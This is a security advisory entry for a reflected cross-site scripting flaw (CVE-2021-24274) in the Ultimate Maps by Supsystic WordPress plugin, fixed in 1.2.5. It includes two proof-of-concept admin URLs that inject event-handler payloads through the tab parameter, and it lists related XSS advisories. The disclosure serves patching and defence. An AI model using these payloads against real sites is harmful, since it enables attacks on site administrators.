Ultimate Maps by Supsystic < 1.2.5 – Reflected Cross-Site scripting (XSS) | CVE 2021-24274 | Plugin Vulnerabilities

Description

The plugin did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue

Proof of Concept

/wp-admin/admin.php?page=ultimate-maps-supsystic&tab="onmouseover=alert(1)//

/wp-admin/admin.php?page=ultimate-maps-supsystic&tab="+style=animation-name:rotation+onanimationstart=alert(/XSS/)//

Affects Plugins

ultimate-maps-by-supsystic

Fixed in 1.2.5

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

0xB9

Submitter

0xB9

Submitter twitter

Verified

Yes

WPVDB ID

200a3031-7c42-4189-96b1-bed9e0ab7c1d

Timeline

Publicly Published

2021-04-19 (about 4 years ago)

Added

2021-04-19 (about 4 years ago)

Last Updated

2021-04-20 (about 4 years ago)

Other

Published

Title

Published

2021-09-06

Title

User Registration < 2.0.2 - Low Privilege Stored Cross-Site Scripting

Published

2014-08-01

Title

ShrimpTest 1.0b2 - admin/experiments.php Multiple Unspecified XSS

Published

2023-01-10

Title

Post Category Image With Grid and Slider < 1.4.8 - Contributor+ Stored XSS via Shortcode

Published

2020-05-04

Title

wpForo < 1.7.0 - Reflected Cross-Site Scripting (XSS) via langid Parameter

Published

2024-04-17

Title

Element Pack Elementor Addons < 5.6.1 - Contributor+ Stored XSS via Panel Slider Widget